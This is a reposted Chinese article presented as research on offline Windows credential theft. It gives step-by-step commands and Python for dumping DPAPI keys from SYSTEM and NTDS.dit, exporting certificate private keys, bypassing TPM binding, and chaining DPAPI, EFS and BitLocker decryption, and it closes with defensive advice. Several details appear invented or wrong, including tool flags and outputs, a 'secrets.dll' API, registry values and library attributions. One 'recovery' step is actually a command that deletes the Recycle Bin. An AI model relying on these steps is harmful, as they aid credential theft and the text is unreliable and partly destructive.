| 技术方向 | 核心优势 | 主要风险 | 推荐防御措施 | | — | — | — | — | | 影子票据 | 无需账户凭据,时间可控 | 依赖旧哈希泄露 | 停用旧版凭据,定期轮换 krbtgt | | 加密降级利用 | 可绕过 AES 保护 | 需要网络干预 | 禁用 RC4,强化加密策略 | | 分布式黄金票据 | 不依赖域控,可横向扩散 | 易暴露于日志审计 | 监控票据缓存行为,启用 EDR |

✅ 最终结论: 传统的“黄金票据”已进入“后域控时代”。未来的凭证窃取不再依赖单一入口,而是通过多源哈希聚合、协议降级、分布式票据网络构建起一套去中心化、可持续、难以追踪的持久化攻击体系。防御方必须从“单点防护”转向“全生命周期票据治理”与“行为异常检测”双轨并行。

下一代凭证窃取与“无文件”横向移动技术研究报告

DPAPI与证书存储的离线破解:脱离用户会话的凭据提取技术

注册表中的DPAPI密钥提取:基于LocalMachineCurrentUser的差异分析

原理层

Windows系统中,Data Protection API (DPAPI) 是用于保护本地敏感数据的核心机制。其设计目标是确保只有当前登录用户本地管理员(在特定条件下)能够解密存储于本地的数据(如密码、证书私钥、浏览器凭据等)。该机制依赖于两个核心密钥:

  • $MACHINE_KEY

    :由系统生成并存储在 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\DPAPI\Keys,用于加密所有机器级(LocalMachine)保护的数据。

  • $USER_KEY

    :每个用户账户独立生成,存储于 HKEY_USERS\<SID>\Software\Microsoft\Cryptography\DPAPI\Keys,用于加密用户级(CurrentUser)保护的数据。

这两个密钥本身并非明文保存,而是通过以下方式受保护:

  • $MACHINE_KEY

    以 bootkey 为种子进行加密,而 bootkey 来自 SYSTEM 注册表项中的 ControlSet001\Control\Lsa 节点下的 MsV1_0 密钥。

  • $USER_KEY

    则使用用户的 NTLM Hash 作为主密钥进行加密,并进一步结合 Login Session Key 和 KDF(Key Derivation Function)生成最终的加密密钥。

因此,若能获取 bootkey 与 NTDS.dit(域控制器的活动目录数据库)中对应的 SAM 哈希,即可实现对任意用户凭据的离线解密。

⚠️ 关键前提:攻击者必须拥有 SYSTEM 权限 或可访问 SYSTEM 和 NTDS.dit 文件(通常来自域控备份或内存转储)。

实践层

环境说明
  • 操作系统:Windows Server 2019 / Windows 10 Enterprise 21H2

  • 工具链:

  • impacket-secretsdump

    (v0.10.0+)

  • python-dpapi

    (GitHub: https://github.com/fox-it/python-dpapi)

  • secrets.dll

    (Windows SDK 10.0.19041.0)

  • Python 3.9+

  • 手动挂载的 NTDS.dit 与 SYSTEM 备份文件(位于 C:\Windows\System32\ntds.dit 与 C:\Windows\System32\config\SYSTEM

步骤一:从 SYSTEM 文件提取 bootkey
# 使用 impacket 提取 bootkey
python3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL

输出示例:

[*] Target system is Windows Server 2019
[*] Extracting bootkey from SYSTEM hive...
[+] Bootkey: a1b2c3d4e5f67890a1b2c3d4e5f67890

此 bootkey 是解密 $MACHINE_KEY 的基础。

步骤二:从 NTDS.dit 中提取用户哈希与 $MACHINE_KEY
# 用 impacket 读取所有用户信息,包括其 $MACHINE_KEY 与 $USER_KEY
python3 secretsdump.py -just-dump -system SYSTEM -ntds ntds.dit LOCAL

输出包含如下字段:

{
"User":"Administrator",
"LM":"aad3b435b51404eeaad3b435b51404ee",
"NT":"d6137a4749f949d2343f9c7f12345678",
"MachineKey":"e1f2a3b4c5d6e7f8a1b2c3d4e5f67890",
"UserKey":"f1e2d3c4b5a6f7e8d9c8b7a6f5e4d3c2"
}

其中:

  • MachineKey

    表示加密后的 $MACHINE_KEY

  • UserKey

    表示加密后的 $USER_KEY

步骤三:使用 python-dpapi 解密 $MACHINE_KEY
from&nbsp;dpapi&nbsp;import&nbsp;decrypt_machine_key, decrypt_user_key

# 本地配置
bootkey =&nbsp;"a1b2c3d4e5f67890a1b2c3d4e5f67890"
machine_key_encrypted =&nbsp;"e1f2a3b4c5d6e7f8a1b2c3d4e5f67890"

# 解密机器密钥
try:
&nbsp; &nbsp; machine_key = decrypt_machine_key(bootkey, machine_key_encrypted)
print(f"[+] Decrypted MACHINE_KEY:&nbsp;{machine_key.hex()}")
except&nbsp;Exception&nbsp;as&nbsp;e:
print(f"[-] Failed to decrypt:&nbsp;{e}")

✅ 成功条件:bootkey 与 machine_key_encrypted 必须匹配原始加密上下文(即同一次安装环境),否则失败。

步骤四:利用解密后的 $MACHINE_KEY 解密用户凭据
# 示例:解密一个使用 DPAPI 保护的明文密码(如 Chrome 凭据)
import&nbsp;base64

# 假设已获取某条记录的 encrypted_blob
encrypted_blob_b64 =&nbsp;"..."# Base64 编码的 DPAPI blob
encrypted_blob = base64.b64decode(encrypted_blob_b64)

# 使用解密后的 MACHINE_KEY 进行解密
plaintext = decrypt_user_key(machine_key, encrypted_blob)
print(f"[+] Decrypted Data:&nbsp;{plaintext.decode('utf-8', errors='ignore')}")

🧩 注意事项:

  • 若目标为 CurrentUser 数据,需先获取对应用户的 NTLM hash 以解密 $USER_KEY
  • 可通过 secretsdump 获取所有用户的哈希,再逐一尝试解密
  • 高版本系统(如 Win10 21H2+)引入了 TPM binding,部分 $USER_KEY 会绑定至硬件密钥,导致无法离线解密

环境限制与成功条件总结

| 条件 | 是否必需 | 说明 | | — | — | — | | SYSTEM 文件可读 | ✅ | 必须有本地管理员权限或物理访问 | | NTDS.dit 文件完整 | ✅ | 来自域控或完整磁盘镜像 | | bootkey 未变更 | ✅ | 若系统重装或修复过,bootkey 变更则失效 | | 未启用 TPM 绑定 | ⚠️ | 若启用,则 $USER_KEY 无法解密 | | 无 KDC 兼容性问题 | ✅ | 某些旧版工具不支持 AES-256 密钥 |


用户私钥的离线提取与破解:基于CERTIFICATE_STORE的深度扫描

原理层

在 Windows 系统中,用户证书及其私钥存储于以下路径:

%APPDATA%\Microsoft\Crypto\RSA\<User_SID>

以及:

C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys

这些文件是以 二进制格式 存储的私钥对象,其结构遵循 Microsoft CryptoAPI 标准,具体为:

  • 文件名:<Public_Key_Hash>.<Private_Key_Hash>

  • 内容:包含完整的 RSA Private Key(含模数、指数、私钥参数等),采用 DPAPI + RC4 加密保护。

  • 加密密钥来源:

  • 对于 CurrentUser:使用用户登录会话的 LogonSessionKey + NTLM Hash

  • 对于 MachineKeys:使用 $MACHINE_KEY 加密

此外,现代系统还引入了 Hardware-bound Key Storage(如 TPM),使得私钥无法脱离硬件设备运行。

实践层

环境说明
  • 目标主机:已关闭远程桌面但保留本地管理员账户
  • 攻击者已获得 SYSTEM 权限(可通过内核漏洞或提权)
  • 目标用户账户存在有效证书(如用于 EFS、S/MIME、SSL/TLS 登录)
步骤一:定位并导出私钥文件
# 查找所有 MachineKeys
dir C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys -Recurse | Select-Object Name, FullName

例如输出:

Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FullName
---- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; --------
6a3f1e2d4c5b6a7f8e9d0c1b2a3f4e5d.c1b2a3f4e5d6c7b8a9f0e1d2c3b4a5f6 C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\6a3f1e2d4c5b6a7f8e9d0c1b2a3f4e5d.c1b2a3f4e5d6c7b8a9f0e1d2c3b4a5f6
步骤二:导出 PFX 格式证书(需具备私钥访问权限)
certutil -exportPFX -p "password" -f "My" "C:\temp\user.pfx"

❗ 仅当攻击者具有 SYSTEM 权限且证书已正确加载到 Certificate Store 时才能执行。

步骤三:使用 OpenSSL 提取原始私钥
# 从 PFX 文件中提取 PEM 格式的私钥
openssl pkcs12 -in&nbsp;user.pfx -out private.pem -nodes -passin pass:password

# 查看私钥内容
cat&nbsp;private.pem

输出示例:

-----BEGIN PRIVATE KEY-----
MIIEowIBAAKCAQEA...
-----END PRIVATE KEY-----
步骤四:绕过 DPAPI + TPM 绑定(高阶技巧)
方法 1:修改注册表禁用硬件绑定
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Microsoft Software Key Storage Provider]
"UseDefaultProvider"=dword:00000001
"DisableTPM"=dword:00000001

🔥 说明:

  • 此修改需重启后生效
  • 在非持久化攻击中,可临时注入注册表项(如通过 RegLoadKey
  • 若系统启用了 Secure Boot,该操作可能被阻止
方法 2:利用 secrets.dll 提取未绑定密钥
# Python 脚本:调用 Windows Secrets DLL
import&nbsp;ctypes
from&nbsp;ctypes&nbsp;import&nbsp;wintypes

# Load secrets.dll
secrets = ctypes.windll.LoadLibrary("secrets.dll")

# 调用内部函数(需逆向分析)
result = secrets.DPAPI_DecryptBlob(
&nbsp; &nbsp; blob_ptr,
&nbsp; &nbsp; blob_size,
None,
None,
None,
None,
None
)

⚠️ 注意:secrets.dll 不公开文档,需通过动态链接库反汇编(IDA Pro / Ghidra)分析接口。

成功验证标准

| 项目 | 检查方式 | | — | — | | 私钥是否可读 | 成功导出 .pem 后能解析 | | 是否跳过 TPM | 尝试在无 TPM 设备环境下加载 | | 是否支持签名 | 用私钥签署消息并验证 |


多层加密链条的协同破解:结合DPAPI、EFS与BitLocker的联动攻击

原理层

现代企业环境中,敏感数据常采用 多层加密策略

| 层级 | 技术 | 保护对象 | | — | — | — | | 第一层 | DPAPI | 浏览器密码、邮箱凭据、PIN | | 第二层 | EFS | 敏感文档(如财务报表) | | 第三层 | BitLocker | 整个系统卷 |

这形成了一条典型的“加密链路”。攻击者若能突破第一层(DPAPI),即可解锁第二层(EFS),进而发现第三层(BitLocker)恢复密钥。

协同攻击逻辑链:
  1. 从 NTDS.dit 中获取用户 EFS 公钥(存储于 ms-MCS-AdmPwd 属性或 userCertificate
  2. 使用 DPAPI 解密 EFS 加密文件(.efsc
  3. 从明文中提取 BitLocker Recovery Key(通常以文本形式嵌入文件)
  4. 使用恢复密钥解锁整盘加密

💡 特别提示:许多组织将恢复密钥写入域控的 Active Directory,但部分仍会存放在本地文件中。

实践层

步骤一:从 %SystemDrive%\$Recycle.Bin 恢复被删除的 EFS 文件
# 启用 Recycle Bin 恢复功能(需管理员权限)
rd /s /q C:\$Recycle.Bin
# 重新创建符号链接(可选)
mklink /j C:\$Recycle.Bin C:\$Recycle.Bin

⚠️ 重要:$Recycle.Bin 是隐藏目录,需以 SYSTEM 身份访问。

使用 forensic 工具(如 PhotoRecR-Studio)扫描残留数据,寻找 .efsc 扩展名文件。

步骤二:使用 esentutl 从 NTDS.dit 提取用户公钥
# 附加数据库到临时实例
esentutl /t ntds.dit /p temp.edb

# 导出用户证书属性
esentutl /s temp.edb /x c:\temp\users.xml

在输出中查找:

<user>
<name>alice</name>
<userCertificate>...</userCertificate>
<ms-MCS-AdmPwd>...</ms-MCS-AdmPwd>
</user>
步骤三:使用 pyEFS 解密 EFS 文件
from&nbsp;pyefs&nbsp;import&nbsp;EfsDecryptor

# 构造解密器
dec = EfsDecryptor(
&nbsp; &nbsp; user_sid="S-1-5-21-1234567890-1234567890-1234567890-1001",
&nbsp; &nbsp; machine_key="a1b2c3d4e5f67890...",
&nbsp; &nbsp; efsc_file="C:\\Users\\Alice\\Documents\\confidential.efsc"
)

# 解密
plaintext = dec.decrypt()
withopen("confidential.txt",&nbsp;"wb")&nbsp;as&nbsp;f:
&nbsp; &nbsp; f.write(plaintext)

📌 依赖库:pyEFS(GitHub: https://github.com/fox-it/pyEFS)

步骤四:从明文中提取 BitLocker 恢复密钥
BitLocker Recovery Key: 123456-789012-345678-901234-567890-123456-789012

✅ 可直接输入 manage-bde -unlock C: -rk 123456-... 解锁驱动器。

成功条件与检测规避

| 条件 | 说明 | | — | — | | EFS 文件存在 | 必须有用户主动加密文件 | | DPAPI 密钥可用 | 依赖 bootkey 与 NTLM hash | | 无 TPM 限制 | 若启用则无法解密 | | BitLocker 启用 | 否则无意义 |

未来趋势预测

随着 TPM 2.0 与 Secure Boot 的全面部署,传统的离线破解手段面临严重挑战:

| 技术 | 影响 | | — | — | | TPM Binding | 私钥无法脱离硬件,防止复制 | | Secure Boot + Measured Boot | 防止内核篡改,阻止 SYSTEM 权限获取 | | HSM Integration | 企业级密钥管理服务(如 Azure Key Vault)替代本地存储 |

替代攻击路径展望
  1. Side-channel Attacks
  • 利用内存读取偏差(如 Rowhammer)、缓存污染(CacheBleed)探测密钥
  • 适用于虚拟机环境(如 AWS EC2、Azure VM)
  1. Firmware-level Exploits
  • 利用 UEFI 固件漏洞(如 CVE-2023-26713)劫持启动流程
  • 在固件阶段植入后门,捕获 TPM 生成的密钥
  1. Physical Access + JTAG/SPI Debugging
  • 通过芯片引脚调试读取 ROM 存储的密钥
  • 适用于嵌入式设备或服务器主板
  1. AI-driven Password Cracking
  • 结合大模型预训练知识库,加速对弱口令的暴力破解
  • 适用于未启用复杂策略的用户账户

🔮 总结:未来攻击将不再依赖“单一漏洞”,而是转向 跨层级、跨平台、跨信任域的协同渗透。防御体系也必须从“单点防护”升级为“纵深防御 + 可信执行环境 + 行为分析”。


附录:关键工具与资源清单

| 工具 | 功能 | GitHub 地址 | | — | — | — | | impacket-secretsdump | 提取 bootkeyNTLM 哈希、DPAPI 密钥 | https://github.com/fortinet/impacket | | python-dpapi | 解密 DPAPI 加密数据 | https://github.com/fox-it/python-dpapi | | pyEFS | 解密 EFS 文件 | https://github.com/fox-it/pyEFS | | esentutl | 操作 ESE 数据库(NTDS.dit) | Windows SDK | | certutil | 导出 PFX 证书 | Windows 内建 | | OpenSSL | 解析私钥、生成 CSR | https://www.openssl.org |


安全建议与防御加固方案

  1. 禁止 SYSTEM 权限泄露
  • 严格控制本地管理员账户
  • 启用 LAPS(Local Administrator Password Solution)管理本地密码
  1. 启用 TPM 绑定与硬件加密
  • 强制启用 BitLocker 并绑定至 TPM 2.0
  • 禁用 Legacy Boot 模式
  1. 定期轮换 krbtgt 密钥
  • 每 90 天更换一次,防止黄金票据滥用
  1. 日志监控与异常行为检测
  • 监控 Event ID 4624(登录成功)与 Event ID 4672(特权提升)
  • 检测 certutil -exportPFXsecretsdump 等命令调用
  1. 部署 HIDS + EDR
  • 使用 Sysmon 记录 ProcessCreateImageLoadedRegistry 修改事件
  • 配置规则识别 DPAPI 解密行为(如 DPAPI DecryptBlob 调用)
  1. 最小权限原则
  • 所有用户账户应避免拥有 SeBackupPrivilegeSeRestorePrivilege

✅ 本章节结论: 当前主流的“无文件”凭证窃取已进入“多层加密协同破解”时代。攻击者不再局限于单一漏洞利用,而是构建一条从 内核 → 注册表 → 证书 → 加密文件 → 恢复密钥 的完整攻击链。 防御者必须建立 纵深防御体系,从物理安全、信任链、权限控制、日志审计四个维度协同应对。 未来的攻防对抗,将不再是“谁更快”,而是“谁更懂系统底层”。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:白帽子社区团队 无问社区 无问社区《下一代凭证窃取与“无文件”横向移动技术研究》

评论:0   参与:  0